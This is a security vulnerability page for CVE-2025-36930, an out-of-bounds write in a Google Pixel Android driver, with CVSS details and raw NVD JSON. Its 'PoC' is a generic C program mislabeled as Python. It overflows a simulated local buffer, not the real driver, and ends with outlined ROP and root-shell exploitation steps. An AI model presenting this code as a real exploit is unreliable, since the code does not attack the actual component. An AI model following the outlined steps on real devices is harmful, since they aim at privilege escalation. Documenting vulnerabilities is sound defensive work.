Security Vulnerability Report
中文
CVE-2025-36930 CVSS 7.8 HIGH

CVE-2025-36930

Published: 2025-12-11 20:15:58
Last Modified: 2025-12-12 17:35:51

Description

In GetHostAddress of gxp_buffer.h, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - VULNERABLE
Android (Google Pixel) - 2025年12月安全更新前版本
gxp_buffer.h GetHostAddress函数 - 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-36930 PoC - Buffer overflow in GetHostAddress of gxp_buffer.h // This is a conceptual PoC demonstrating the vulnerability pattern #include <stdio.h> #include <string.h> #include <stdlib.h> // Simulated vulnerable function (original code in gxp_buffer.h) void GetHostAddress(char* buffer, size_t buffer_size, const char* input) { // VULNERABLE: Missing bounds check before writing to buffer size_t input_len = strlen(input); // This write can overflow if input_len > buffer_size // The original code lacks proper validation: // if (input_len >= buffer_size) return ERROR; memcpy(buffer, input, input_len); // Out of bounds write occurs here buffer[input_len] = '\0'; } int main() { char target_buffer[64]; char malicious_input[256]; // Prepare malicious input larger than target buffer memset(malicious_input, 'A', sizeof(malicious_input) - 1); malicious_input[sizeof(malicious_input) - 1] = '\0'; printf("Triggering CVE-2025-36930 - Buffer overflow in GetHostAddress\n"); printf("Buffer size: %zu bytes, Input size: %zu bytes\n", sizeof(target_buffer), strlen(malicious_input)); // Trigger the vulnerable function GetHostAddress(target_buffer, sizeof(target_buffer), malicious_input); // If we reach here, the overflow may have corrupted memory printf("Overflow triggered - check for privilege escalation\n"); return 0; } /* * Notes for exploitation: * 1. Attacker needs local access to the Android device * 2. Target the gxp_buffer.h GetHostAddress function * 3. Overflow should overwrite adjacent memory structures * 4. Use techniques like ROP to achieve code execution * 5. Escalate from low-privilege app to root shell */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36930", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:57.580", "lastModified": "2025-12-12T17:35:51.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In GetHostAddress of gxp_buffer.h, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}